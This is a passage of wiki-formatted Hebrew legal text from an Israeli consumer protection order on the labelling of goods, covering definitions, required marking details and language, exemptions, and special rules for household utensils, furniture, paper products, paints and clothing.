504|תיקון|https://olaw.org.il/takanot/takanot-6557.pdf}}; {{ח:תיבה|תשס״ח, 406|תיקון|https://olaw.org.il/takanot/takanot-6642.pdf}}; {{ח:תיבה|תשע״ד, 1584|תיקון|https://olaw.org.il/takanot/takanot-7405.pdf}}; {{ח:תיבה|תשע״ח, 2228|תיקון|https://olaw.org.il/takanot/takanot-8027.pdf}}; {{ח:תיבה|תשע״ט, 709|תיקון|https://olaw.org.il/takanot/takanot-8101.pdf}}; {{ח:תיבה|תש״ף, 565|תיקון|https://olaw.org.il/takanot/takanot-8343.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:מבוא}}
בתוקף סמכותי לפי {{ח:חיצוני|חוק הגנת הצרכן#סעיף 17|סעיף 17}} {{ח:חיצוני|חוק הגנת הצרכן|לחוק הגנת הצרכן, התשמ״א–1981}} (להלן – החוק), ולענין {{ח:פנימי|סעיף 10|סעיף 10}} – {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים#סעיף 5|סעיפים 5}}, {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים#סעיף 15|15}} {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים#סעיף 47|ו־47}} {{ח:חיצוני|חוק הפיקוח על מצרכים ושירותים|לחוק הפיקוח על מצרכים ושירותים, התשי״ח–1957}}, אני מצווה לאמור:
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:סעיף|1|הגדרות|תיקון: תשמ״ד־2, תשמ״ו־2, תשנ״ט, תשס״א}}
{{ח:ת}} בצו זה –
{{ח:ת|סוג=הגדרה}} ”אריזה“ – עטיפה או מכל של טובין המיועדים למכירה לצרכן, בין אם הטובין נארזו בהם כולם או חלקם;
{{ח:ת|סוג=הגדרה}} ”אריזה כוללת“ – אריזה המכילה מספר יחידות אריזה הנמכרות ביחד;
{{ח:ת|סוג=הגדרה}} ”יחידת אריזה“ – אריזה המכילה יחידה אחת או אריזה המכילה מספר יחידות של אותם טובין שמקובל לשווקם ולמכרם ביחד;
{{ח:ת|סוג=הגדרה}} ”ארץ הייצור“ – הארץ בה יוצרו או הורכבו הטובין המוגמרים;
{{ח:ת|סוג=הגדרה}} ”יבואן“ – אדם שעסקו או חלק מעסקו לייבא טובין לשם מסחר;
{{ח:ת|סוג=הגדרה}} ”יצרן“ – אדם העוסק בייצור טובין, בין בעצמו ובין על ידי אחרים או העוסק בעבודה מן העבודות הדרושות לתהליך הייצור או הדרושות לשם שינוי צורתם, טיבם או איכותם של טובין וכן אדם העוסק באריזתם של טובין או מזיגתם במכל;
{{ח:ת|סוג=הגדרה}} ”מכל“ – פח, פחית, קופסה, תיבה, שק, שקית, בקבוק, צנצנת, שפופרת, ארגז, עטיפה וכל בית קיבול אחר המכיל טובין;
{{ח:ת|סוג=הגדרה}} ”סוחר“ – אדם שעסקו או חלק מעסקו למכור טובין;
{{ח:ת|סוג=הגדרה}} ”תיאור“ – תיאור של טובין למטרת מסחר או פרסומת הנעשה בכתב, בדפוס, בציור, בשרטוט, בסרט, בעל־פה, בשידור או בכל דרך אחרת;
{{ח:ת|סוג=הגדרה}} ”תוצרת ישראל“ – טובין המיוצרים בישראל מחלקים העשויים בישראל או מחלקים מיובאים או מחלקים שמקצתם עשויים בישראל ומקצתם מיובאים;
{{ח:ת|סוג=הגדרה}} ”מזון“ – דבר המיועד לצריכת אדם באכילה, בשתיה או בלעיסה לרבות חמרי מוצא ותוספות, למעט חומרים המשמשים ברפואה בלבד;
{{ח:ת|סוג=הגדרה}} ”מען“ – ישוב, רחוב, מספר בית (לפי הנמצא) של הנמען או של עסקו; לענין זה, תא דואר בלבד לא ייחשב מען;
{{ח:ת|סוג=הגדרה}} ”משווק“ – מוכר טובין לצרכן, שאינו יצרן, אך לרבות יבואן, סיטונאי, קמעונאי ורוכל;
{{ח:ת|סוג=הגדרה}} ”סימון בן־קיימא“ – סימון המתקיים בשלמות וללא פגם עד גמר השימוש בטובין;
{{ח:ת|סוג=הגדרה}} ”אזור“ – יהודה, השומרון וחבל עזה;
{{ח:ת|סוג=הגדרה}} ”מצרך מוחדש“ – מוצר שהיה בשימוש הצרכן, הוחזר ליצרן או ליבואן, ונארז בידו מחדש לשם מכירתו.

{{ח:סעיף|2|אופן סימון טובין|תיקון: תש״ן־3, תשנ״ד, תשס״ה}}
{{ח:תת|(א)}} סימון טובין ייעשה בהדפסה, בהטבעה, בחריטה או בכל דרך אחרת על הטובין או אריזתם, למעט בכתב יד. לא ניתן לסמן על הטובין או על אריזתם, ייעשה הסימון על גבי תווית שתוצמד היטב לטובין או לאריזתם בהדבקה או בתפירה באופן שתמנע הסרתה בקלות.
{{ח:תת|(א1)}} על אף האמור בסעיף קטן (א), טובין מסוג אחד שאינם ארוזים או שהם ארוזים באריזה שקופה, המוצגים למכירה בתפזורת, בתוך מכל או באזור מתוחם על גבי מדף וסימונם אחיד ומתייחס ליחידה בודדת, כגון ציוד משרדי, כלי בית, מוצרי סדקית וכיוצא באלה, למעט מוצרי טקסטיל והנעלה, יכול שיסומנו על גבי תווית או שלט צמוד למכל או למדף, שבו הם מונחים או בסמוך אליהם; אם מספר סוגי טובין מוצגים למכירה בתוך מכל או מדף, אופן הסימון יהיה כזה שניתן יהיה לשייך את פרטי הסימון, כאמור לעיל, לסוג הטובין המתאים.
{{ח:תת|(א2)}} הוראת סעיף קטן (א1) לא תחול, אם קיימת חובת מתן הוראות שימוש או אזהרה, כאמור בצו זה או לפי כל דין.
{{ח:תת|(ב)}} פרטי הסימון יהיו ברורים, קריאים ובני קיימא; כל מלה ופרט יצויינו בבהירות, באותיות לא קטנות ולא דחוסות, במקום הנראה לעין ובאופן שיקל על הצרכן לקרוא ולהבין את הסימון; על הסימון להיות בצבע השונה מצבע הרקע שעליו הוא מופיע.
{{ח:תת|(ג)}} צבע הדפוס וחמרים אחרים המשמשים בסימון לא יפגעו בטיב הטובין.
{{ח:תת|(ד)}} הסימון לא יטושטש על ידי איורים או חומר אחר כתוב, מודפס או מוטבע או כל סיבה אחרת.
{{ח:תת|(ה)}} בסימון על אריזה –
{{ח:תתת|(1)}} אם האריזה מורכבת ממספר שכבות, יהיה הסימון על השכבה החיצונית, אולם אם השכבה החיצונית עשויה חומר שקוף, מותר שהסימון יהיה מתחתיה ובלבד שיהיה קריא וברור מבעד לשכבה השקופה;
{{ח:תתת|(2)}} אין חובה לסמן אריזה כוללת בפרטי הסימון הנדרשים בצו זה אם נתקיימו שני אלה:
{{ח:תתתת|(א)}} יחידות האריזה שבאריזה הכוללת סומנו בכל פרטי הסימון הנדרשים בצו זה;
{{ח:תתתת|(ב)}} האריזה הכוללת שקופה ומאפשרת לקרוא בבירור את פרטי הסימון של יחידות האריזה.
{{ח:תת|(ו)}} בלי לגרוע מהאמור בסעיפים קטנים (א) עד (ה), על טובין מיובאים עם הוראות שימוש או אזהרה בלועזית יופיע גם תרגום מלא ומדויק בעברית של הוראות השימוש או האזהרה; גודל האותיות בעברית לא יקטן מגודל האותיות הלועזיות ויהיה מובלט באותו אופן.

{{ח:סעיף|3|פרטי הסימון|תיקון: תשמ״ח־3, תשמ״ט־3, תשנ״ה־3, תשנ״ה־4}}
{{ח:ת}} כל סימון יכלול פרטים אלה:
{{ח:תת|(1)}} שם המצרך וכינויו המסחרי;
{{ח:תת|(2)}} הסימן המסחרי הרשום אם ישנו כזה;
{{ח:תת|(3)}} שם הדגם ומספר סידורי, אם ישנם;
{{ח:תת|(4)}} היות המצרך מסוג ב׳ אם איכותו נמוכה מהרגיל או שהוא פגום;
{{ח:תת|(4א)}} אם המצרך מוחדש – המלה ”מוחדש“ ותאריך החדשתו;
{{ח:תת|(5)}} שם היצרן ומענו, ואם המצרך מיובא – שם היבואן ומענו;
{{ח:תת|(6)}} ארץ הייצור;
{{ח:תת|(7)}} כמות המצרך –
{{ח:תתת|(א)}} הכמות תצויין ביחידות של מספר או ביחידות של אורך, שטח, נפח או משקל – הכל על פי השיטה המטרית;
{{ח:תתת|(ב)}} בסוגי המצרכים המפורטים להלן יכלול הסימון את הכמות הנקיה (נטו) של המצרך באריזה, ביחידות משקל או ביחידות נפח:
{{ח:תתתת|(1)}} מצרך נוזלי יסומן ביחידות נפח –
{{ח:תתתתת|(א)}} מיליליטר (מ״ל) למוצר שתכולתו קטנה מ־1000 מיליליטר;
{{ח:תתתתת|(ב)}} ליטרים למוצר שתכולתו 1000 מיליליטר או יותר;
{{ח:תתתת|(2)}} מצרך מוצק, מוצק למחצה או צמיג יסומן ביחידות משקל –
{{ח:תתתתת|(א)}} גרמים (ג׳) למוצר שמשקלו קטן מ־1000 גרם;
{{ח:תתתתת|(ב)}} קילוגרמים (ק״ג) למוצר שמשקלו 1000 גרם או יותר;
{{ח:תתתת|(3)}} {{ח:הערה|(בוטל);}}
{{ח:תתתת|(4)}} על אריזה כוללת יסומנו מספר יחידות האריזה שבה, התכולה הנקיה ליחידת אריזה, והתכולה הנקיה הכוללת;
{{ח:תתתת|(5)}} מצרך העלול לפחות במשקלו, בתנאי מסחר ושיווק רגילים, בגלל החסנה או הצגה למכירה, תצויין הכמות הפחותה ביותר שיש לשערה;
{{ח:תת|(8)}} בקלטות – גם אורך הזמן בדקות בו ניתן לשמוע קלטת או לראותה במכשיר וידאו.

{{ח:סעיף|4|שפת הסימון}}
{{ח:תת|(א)}} הסימון על טובין מתוצרת הארץ יהיה בעברית אך מותר שיהיה גם בלועזית, בתנאי שהסימון בכל אחת מן השפות יכלול את כל הפרטים הנדרשים על פי דין, ויהיה זהה בתכנו ובצורתו; האותיות הלועזיות לא יהיו גדולות מהאותיות העבריות ולא יהיו מובלטות יותר בדרך אחרת.
{{ח:תת|(ב)}} הסימון על טובין מיובאים יהיה בעברית או בעברית ובלועזית; מופיע סימון נוסף בלועזית, שאינו נדרש לפי צו זה, אין צורך בתרגומו לעברית.

{{ח:סעיף|5|טובין המיוצרים ליצוא}}
{{ח:ת}} הוראות צו זה לא יחולו על טובין מתוצרת הארץ המיוצרים ליצוא בלבד ואינם משווקים בארץ.

{{ח:סעיף|5א|טובין מתוצרת אזור|תיקון: תשמ״ו־2}}
{{ח:ת}} הוראות צו זה יחולו גם על טובין מתוצרת אזור.

{{ח:סעיף|6|הוראות סימון מיוחדות}}
{{ח:ת}} על הטובין המפורטים {{ח:פנימי|תוספת 1|בתוספת הראשונה}} יחולו גם הוראות הסימון המיוחדות המופיעות לגביהן {{ח:פנימי|תוספת 2|בתוספת השניה}}; היתה הוראה {{ח:פנימי|תוספת 2|שבתוספת השניה}} נוגדת או עומדת בסתירה להוראת סימון כללית, עדיפה ההוראה {{ח:פנימי|תוספת 2|שבתוספת}}.

{{ח:סעיף|7|הוראות שימוש}}
{{ח:תת|(א)}} לטובין המפורטים {{ח:פנימי|תוספת 3|בתוספת השלישית}} יצורפו הוראות שימוש.
{{ח:תת|(ב)}} הוראות השימוש יהיו בשפה העברית, במצרך מיובא יהיו הוראות השימוש תרגום מהימן של הוראות השימוש הלועזיות במידה שישנן.

{{ח:סעיף|8|סימון לפני יבוא|תיקון: תשנ״ז, תשנ״ט, תשס״ה, תשס״ח, תשע״ד, תשע״ח}}
{{ח:תת|(א)}} הטובין המפורטים {{ח:פנימי|תוספת 4|בתוספת הרביעית}} יסומנו כאמור בצו זה לפני ייבואם.
{{ח:תת|(ב)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ג)}} {{ח:הערה|(בוטל).}}

{{ח:סעיף|9|פטור}}
{{ח:ת}} הוראות {{ח:חיצוני|חוק הגנת הצרכן#סעיף 17|סעיף 17(א) לחוק}} והוראות צו זה, כולן או חלקן, לא יחולו על הטובין המפורטים {{ח:פנימי|תוספת 5|בתוספת החמישית}}.

{{ח:סעיף|10|ביטול}}
{{ח:ת}} בטלים –
{{ח:תת|(1)}} צו הפיקוח על מצרכים ושירותים (סימון כללי של מצרכים), התשל״ו–1975;
{{ח:תת|(2)}} צו הפיקוח על מצרכים ושירותים (סימון כלי בית), התשכ״ה–1965;
{{ח:תת|(3)}} צו הפיקוח על מצרכים ושירותים (סימון סיפונים), התשי״ט–1959;
{{ח:תת|(4)}} צו הפיקוח על מצרכים ושירותים (סימון רהיטים), התשכ״ו–1965;
{{ח:תת|(5)}} צו הפיקוח על מצרכים ושירותים (סימון מוצרי נייר וקרטון), התשכ״ד–1964;
{{ח:תת|(6)}} צו הפיקוח על מצרכים ושירותים (סימון מכונות תפירה), התשכ״ד–1963;
{{ח:תת|(7)}} צו הפיקוח על מצרכים ושירותים (סימון צבעים), התשכ״ו–1966;
{{ח:תת|(8)}} צו הפיקוח על מצרכים ושירותים (סימון הקלטות), התשל״ה–1975;
{{ח:תת|(9)}} צו הפיקוח על מצרכים ושירותים (סימון עטים), התשמ״ב–1982;
{{ח:תת|(10)}} צו הפיקוח על מצרכים ושירותים (סימון עפרונות, פסטלים ואריזותיהם), התש״ם–1980;
{{ח:תת|(11)}} צו הפיקוח על מצרכים ושירותים (טמפונים), התשל״ח–1978;
{{ח:תת|(12)}} צו הפיקוח על מצרכים ושירותים (סימון מוצרי הלבשה), התשכ״ג–1963;
{{ח:תת|(13)}} צו הפיקוח על מצרכים ושירותים (סימון גרביים), התשכ״ג–1963;
{{ח:תת|(14)}} צו הפיקוח על מצרכים ושירותים (סימון מנעלים), התשכ״ה–1965;
{{ח:תת|(15)}} צו הפיקוח על מצרכים ושירותים (סימון ארנקים, ילקוטים וחגורות), התשל״ו–1976;
{{ח:תת|(16)}} צו הפיקוח על מצרכים ושירותים (סימון שטיחי טפטינג), התשל״ז–1977;
{{ח:תת|(17)}} צו הפיקוח על מצרכים ושירותים (סימון צנצנת זכוכית), התשכ״ה–1965;
{{ח:תת|(18)}} צו הפיקוח על מצרכים ושירותים (סימון סרטי צילום), התשל״ד–1973.

{{ח:סעיף|11|תחילה}}
{{ח:ת}} תחילתו של צו זה 90 ימים מיום פרסומו.

{{ח:קטע3|תוספת 1|תוספת ראשונה}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 6|סעיף 6}})}}}}

{{ח:סעיף*|1||עוגן=תוספת 1 פרט 1}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 1|כלי בית}}

{{ח:סעיף*|2||תיקון: תשס״ה|עוגן=תוספת 1 פרט 2}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|3||עוגן=תוספת 1 פרט 3}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 3|רהיטים}}

{{ח:סעיף*|4||עוגן=תוספת 1 פרט 4}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 4|מוצרי נייר וקרטון}}

{{ח:סעיף*|5||תיקון: תשס״ה|עוגן=תוספת 1 פרט 5}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|6||עוגן=תוספת 1 פרט 6}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 6|צבעים}}

{{ח:סעיף*|7||תיקון: תשס״ה|עוגן=תוספת 1 פרט 7}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|8||תיקון: תשס״ה|עוגן=תוספת 1 פרט 8}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|9||תיקון: תשס״ה|עוגן=תוספת 1 פרט 9}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|10||עוגן=תוספת 1 פרט 10}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 10|מוצרי הלבשה}}

{{ח:סעיף*|11||תיקון: תשס״ה|עוגן=תוספת 1 פרט 11}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|12||תיקון: תשנ״ו|עוגן=תוספת 1 פרט 12}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 12|שקיות פוליאתילן}}

{{ח:סעיף*|13||עוגן=תוספת 1 פרט 13}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 13|תיקים}}

{{ח:סעיף*|14||תיקון: תשס״ה|עוגן=תוספת 1 פרט 14}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|15||תיקון: תשס״ה|עוגן=תוספת 1 פרט 15}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|16||תיקון: תשמ״ה, תשנ״ג, תשנ״ה־2, תשס״ה|עוגן=תוספת 1 פרט 16}}
{{ח:ת}} {{ח:הערה|(נמחק)}}

{{ח:סעיף*|17||תיקון: תשס״ד|עוגן=תוספת 1 פרט 17}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 17|מוצרי טבק}}

{{ח:סעיף*|18||תיקון: תשס״ז|עוגן=תוספת 1 פרט 18}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 18|כלי מיטה ומגבת}}

{{ח:סעיף*|19||תיקון: תשס״ח|עוגן=תוספת 1 פרט 19}}
{{ח:ת}} {{ח:פנימי|תוספת 2 פרט 19|משחקי מחשב}}

{{ח:קטע3|תוספת 2|תוספת שניה}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 6|סעיף 6}})}}}}

{{ח:סעיף*|1|כלי בית|תיקון: תשס״ה|עוגן=תוספת 2 פרט 1}}
{{ח:תת|(א)}} בסעיף זה, ”כלי בית“ – כלי מיטלטל, למעט כלי פטור, המיועד להכיל אחד מאלה:
{{ח:תתת|(1)}} מזון, משקה וכיוצא בהם – בעת הכנתם, חימומם, בישולם, אפייתם, החזקתם, הגשתם או צריכתם;
{{ח:תתת|(2)}} חמרים, לרבות נוזלים, לצרכי ניקוי, רחצה או כביסה;
{{ח:תתת|(3)}} פסולת ביתית.
{{ח:תת}} ”כלי פטור“ – כלי מיטלטל העשוי כסף או זהב או המצופה כסף או זהב, וכן כלי מיטלטל המשמש אריזה למצרך לצורך מסחר או המופעל על ידי מנוע חשמלי או שמותקן בו גוף חימום חשמלי;
{{ח:תת}} ”קרמיקה“ – לרבות חרס או חרסינה.
{{ח:תת|(ב)}} בכלי בית יצוינו פרטים כמפורט להלן:
{{ח:תתת|(1)}} סוג החומר, כגון: קרמיקה, נירוסטה, אמייל;
{{ח:תתת|(2)}} מידות וקיבול בליטרים, למעט כלי בית שקיבולו אינו עולה על &lt;sup&gt;1&lt;/sup&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;⁄&lt;/span&gt;&lt;sub&gt;2&lt;/sub&gt; ליטר;
{{ח:תתת|(3)}} כל תכונה בכלי הבית המחייבת שימוש או טיפול בדרך מיוחדת, כדי למנוע פגיעה למשתמש בו או לכלי הבית, תוך שימוש רגיל או טיפול רגיל.
{{ח:תת|(ג)}} בכלי בית שאינו עשוי מתכת יצויינו פרטים כמפורט להלן:
{{ח:תתת|(1)}} בכלי בית מקרמיקה או מזכוכית שאין בהם פגם – המלים ”סוג א׳“; ובלבד שלא יצויינו המלים ”סוג א׳“ על צלחת מקרמיקה אם המרווח בין שפת הצלחת לבין המישור שעליו היא מונחת כשהיא הפוכה עולה בנקודה כלשהי על 2% מקטרה החיצוני הגדול ביותר, או אם ההפרש בין קטרה החיצוני הגדול ביותר של הצלחת לבין קטרה החיצוני הקטן ביותר עולה על 2% מארכם הממוצע של אותם שני הקטרים, או אם שטחה העליון של הצלחת אינו חלק, אינו מבריק או אינו נקי מבועות;
{{ח:תתת|(2)}} בכלי בית שאין לציין בו המלים ”סוג א׳“ כאמור בפסקת משנה (1) ובכלי בית שאינו עשוי מתכת ויש בו פגם כלשהו יצויינו המלים ”סוג ב׳“ או ”סוג ג׳“.

{{ח:סעיף*|2||תיקון: תשס״ה|עוגן=תוספת 2 פרט 2}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף*|3|רהיטים|תיקון: תשמ״ו־3, תשנ״ה, תשס״ה, תש״ף|עוגן=תוספת 2 פרט 3}}
{{ח:תת|(א)}} בסעיף זה –
{{ח:תת|סוג=הגדרה}} ”רהיט“ – ארון, כוננית, מדף, מזנון, שולחן, כסא, כורסה, ספסל, שרפרף, מיטה, ספה, מזרן, תיבה או קולב, המיוצרים בסדרות, בין אם הם מיטלטלים ובין אם הם מיועדים להתקנה בבנין או במקום אחר, והנמכרים בתצוגה, בבית העסק או בנקודת מכירה;
{{ח:תת|סוג=הגדרה}} ”רהיט מתכת“ – רהיט עשוי כולו או בעיקרו מתכת;
{{ח:תת|סוג=הגדרה}} ”רהיט עץ“ – רהיט עשוי כולו או בעיקרו עץ;
{{ח:תת|סוג=הגדרה}} ”רהיט פלסטי“ – רהיט עשוי משרפים פלסטיים;
{{ח:תת|סוג=הגדרה}} ”רהיט משולב“ – רהיט עשוי מכמה חומרי גלם;
{{ח:תת|סוג=הגדרה}} ”רהיט מרופד“ – רהיט עשוי משלד ומריפוד;
{{ח:תת|סוג=הגדרה}} ”מזרן“ – מצע שפנימיותו עשויה פלסטיק מוקצף, גומי מוקצף, או חומרים אחרים, עם קפיצים או ללא קפיצים.
{{ח:תת|(ב)}} בסימון רהיט עץ יצוינו גם הפרטים הבאים:
{{ח:תתת|(1)}} סוג העץ שממנו עשויים החלקים העיקריים, כגון עץ מסיבי, לבידים, לוח עץ עשוי שבבים, מ.ד.פ.; עשוי חלק כאמור מעץ גושני – יצוין גם שם העץ; עשוי חלק כאמור מלביד לוחות שבבים או מ.ד.פ – יצוין גם עוביו;
{{ח:תתת|(2)}} סוג הציפוי של החלק החיצוני של הרהיט, כגון לביד, פורניר, מלמין, קילוף, פורמאיקה, נייר, או כל חומר אחר; אם הציפוי עשוי פורניר – יצוין גם שם העץ ממנו הוא עשוי;
{{ח:תתת|(3)}} סוג הגימור לכל חלק חיצוני עיקרי של הרהיט, כגון פוליטורה, פוליאסטר, לכה, צבע פלסטי, צבע שמן או כל גימור אחר.
{{ח:תת|(ג)}} בסימון רהיט מתכת יצוינו גם הפרטים הבאים:
{{ח:תתת|(1)}} סוג המתכת שממנה עשוי הרהיט;
{{ח:תתת|(2)}} החומר או החומרים שמהם עשויים החלקים הלא־מתכתיים של הרהיט, וברהיט מרופד – גם החומר ממנו עשוי בד הריפוד ותוכו של הריפוד;
{{ח:תתת|(3)}} סוג הציפוי של המתכת, וברהיט צבוע – גם סוג הצבע ומספר שכבותיו.
{{ח:תת|(ד)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ה)}} בסימון רהיט משולב יצוינו גם החומרים שפורטו בסעיפים קטנים (ב) ו־(ג).
{{ח:תת|(ו)}} בסימון רהיט מרופד יצוינו גם הפרטים הבאים:
{{ח:תתת|(1)}} הרכב בד הריפוד החיצוני כגון: חומר סינתטי, חומר סינתטי מעורב בצמר או בכותנה תוך ציון אחוזי החומרים חומר טבעי טהור (כותנה, צמר או פשתן);
{{ח:תתת|(2)}} הוראות כלליות לניקוי בד הריפוד;
{{ח:תתת|(3)}} תוכו של הריפוד, כגון גומי ספוגי, גומי לטקס מוקצף, פוליאוריתן מוקצף, או חומר אחר ששמו יצוין, סוג קפיצי המתכת ומספרם;
{{ח:תתת|(4)}} החומר שממנו עשוי השלד.
{{ח:תת|(ז)}} בסימון מזרן יצוינו גם הפרטים הבאים:
{{ח:תת}} בד הריפוד, פירוט חומרי הגלם שבמזרן, מספר קפיצי מתכת.
{{ח:תת|(ח)}} מידות –
{{ח:תתת|(1)}} ברהיט שהוא ארון, מזנון, כוננית או שולחן, יצוינו אורך הרהיט, רוחבו וגובהו, ובשולחן הניתן להארכה או להרחבה, אורכו או רוחבו של השולחן לפני הארכתו או הרחבתו ולאחריה; הסטיה מהמידות שצוינו כאמור לא תעלה על 1%;
{{ח:תתת|(2)}} ברהיט שהוא מיטה, ספה, מזרן, או ספסל לישיבת שני אנשים או יותר, יצוין אורכו של הרהיט ורוחבו; הסטיה ממידות מיטה או ספה שצוינו כאמור לא תעלה על 2%.
{{ח:תת|(ט)}} על אף האמור {{ח:פנימי|סעיף 2|בסעיף 2 לצו העיקרי}}, סימון רהיטים יכול שייעשה באופן מקוון, באמצעות הצגתו באתר האינטרנט של היצרן או של היבואן של הרהיט ובלבד שהתקיימו כל אלה:
{{ח:תתת|(1)}} פרטי הסימון מופיעים בעברית באופן שהצרכן יכול לעיין בהם בחיפוש לפי שם המוצר ומאפייניו, ושם הדגם ככל שישנו;
{{ח:תתת|(2)}} פרטי הסימון של רהיט יופיעו בהתאם לאמור בפסקה (1) לתקופה של 7 שנים לפחות מהמועד האחרון שבו נמכר אותו רהיט לקמעונאי.
{{ח:תת|(י)|(1)}} סימון רהיט המשמש בתצוגה ייעשה על גבי שלט שיונח על הרהיט או בסמוך אליו וסימון רהיט המוצג בקטלוג ייעשה בקטלוג;
{{ח:תתת|(2)}} רכש צרכן רהיט שפרטיו לא מסומנים על גביו או על גבי אריזתו, ימסור לו העוסק, במסמך, את פרטי הסימון של הרהיט או את הקישור לאתר האינטרנט של היצרן או של היבואן של הרהיט כאמור בסעיף קטן (ט), לפי בחירת הצרכן; על אף האמור, רשאי העוסק למסור את פרטי הסימון או הקישור כאמור בדרך אחרת, למעט בעל פה, אם הסכים לכך הצרכן;
{{ח:תתת|(3)}} פרטי הסימון או הקישור לאתר האינטרנט כאמור בפסקה (2) יימסרו לצרכן במעמד ביצוע העסקה.

{{ח:סעיף*|4|מוצרי נייר וקרטון|תיקון: תשנ״ו־2, תשס״ה|עוגן=תוספת 2 פרט 4}}
{{ח:תת|(א)}} בסעיף זה, ”מוצרי נייר וקרטון“ – המוצרים הבאים:
{{ח:תתת|(1)}} מחברת בכריכה רכה ותפירת גב;
{{ח:תתת|(2)}} בלוק למכתבים בכריכת בלוק;
{{ח:תתת|(3)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(4)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(5)}} מפיות נייר;
{{ח:תתת|(6)}} נייר טואלט;
{{ח:תתת|(7)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(8)}} נייר דבק;
{{ח:תתת|(9)}} מגבות נייר;
{{ח:תתת|(10)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(11)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(12)}} דפדפות נייר, בין משורטטות ובין שאינן משורטטות;
{{ח:תתת|(13)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(14)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(15)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(16)}} מעטפות;
{{ח:תתת|(17)}} {{ח:הערה|(נמחקה);}}
{{ח:תתת|(18)}} נייר לכתיבה, להדפסה, לצילום ולפקסימיליה.
{{ח:תת|(ב)}} בסימון מוצרי נייר וקרטון, יצוינו גם פרטים אלה:
{{ח:תתת|(1)}} סוג הנייר, כגון: נטול עץ, קרפ, טישיו, ממוחזר;
{{ח:תתת|(2)}} משקל למ״ר, למעט במוצרים המפורטים בפסקאות (5) ו־(6) שבסעיף קטן (א);
{{ח:תתת|(3)}} אורך ורוחב;
{{ח:תתת|(4)}} במוצרים ארוזים – מספר היחידות באריזה.
{{ח:תת|(ג)}} מקום הסימון של מוצרי נייר וקרטון יהיה כמפורט להלן:
{{ח:תתת|(1)}} לגבי המוצרים המפורטים בפסקאות (1), (2) ו־(12) שבסעיף קטן (א) – על גבי הכריכה של כל יחידה;
{{ח:תתת|(2)}} לגבי המוצרים המפורטים בפסקאות (5), (6), (8), (9), (12), (16) ו־(18) שבסעיף קטן (א) – על גבי האריזה או העטיפה או על גבי כל יחידה.

{{ח:סעיף*|5||תיקון: תשס״ה|עוגן=תוספת 2 פרט 5}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף*|6|צבעים|עוגן=תוספת 2 פרט 6}}
{{ח:תת|(א)}} בסעיף זה, ”צבע“ – צבע מוכן לשימוש בצורה נוזלית או נוזלית למחצה לרבות צבע יסוד, צבע לשכבות ביניים, צבע גמר או לכה ולמעט צבעי דפוס.
{{ח:תת|(ב)}} הסימון של צבע יכלול –
{{ח:תתת|(1)}} גוון הצבע מתואר במלים או במספר לפי לוח הגוונים של היצרן או על ידי צביעת מכסה המכל מבחוץ, כולו או מקצתו, בגוון הצבע הארוז בו;
{{ח:תתת|(2)}} סימן לזיהוי האצווה (batch) ממנו ניטל הצבע הארוז במכל;
{{ח:תתת|(3)}} השימוש לו מיועד הצבע; ואם הוא צבע גמר המיועד לשימוש בפנים הבנין בלבד, יצויינו גם המלים ”צבע פנים“.

{{ח:סעיף*|7||תיקון: תשס״ה|עוגן=תוספת 2 פרט 7}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף*|8||תיקון: תשמ״ט־4, תשס״ה|עוגן=תוספת 2 פרט 8}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף*|9||תיקון: תשס״ה|עוגן=תוספת 2 פרט 9}}
{{ח:ת}} {{ח:הערה|(בוטל).}}

{{ח:סעיף*|10|מוצרי הלבשה|תיקון: תשס״ה, תשס״ז, תשע״ח|עוגן=תוספת 2 פרט 10}}
{{ח:תת|(א)}} בסעיף זה –
{{ח:תת|סוג=הגדרה}} ”מוצר הלבשה“ – מוצר המיועד או העשוי לשמש לבוש לגברים, נשים או ילדים, המורכב ביסודו מסיבי טקסטיל או מעור, בין אם יש בו חלקים או אבזרים שאינם עשויים סיבי טקסטיל או עור מעובד ובין אם אין בו חלקים כאמור;
{{ח:תת|סוג=הגדרה}} ”עיקר מוצר הלבשה“ – מוצר הלבשה למעט הבטנה, האבזרים והקישוטים שבמוצר ההלבשה;
{{ח:תת|סוג=הגדרה}} ”סיבים מלאכותיים“ – סיבים העשויים בדרך מלאכותית מחומר המצוי בטבע;
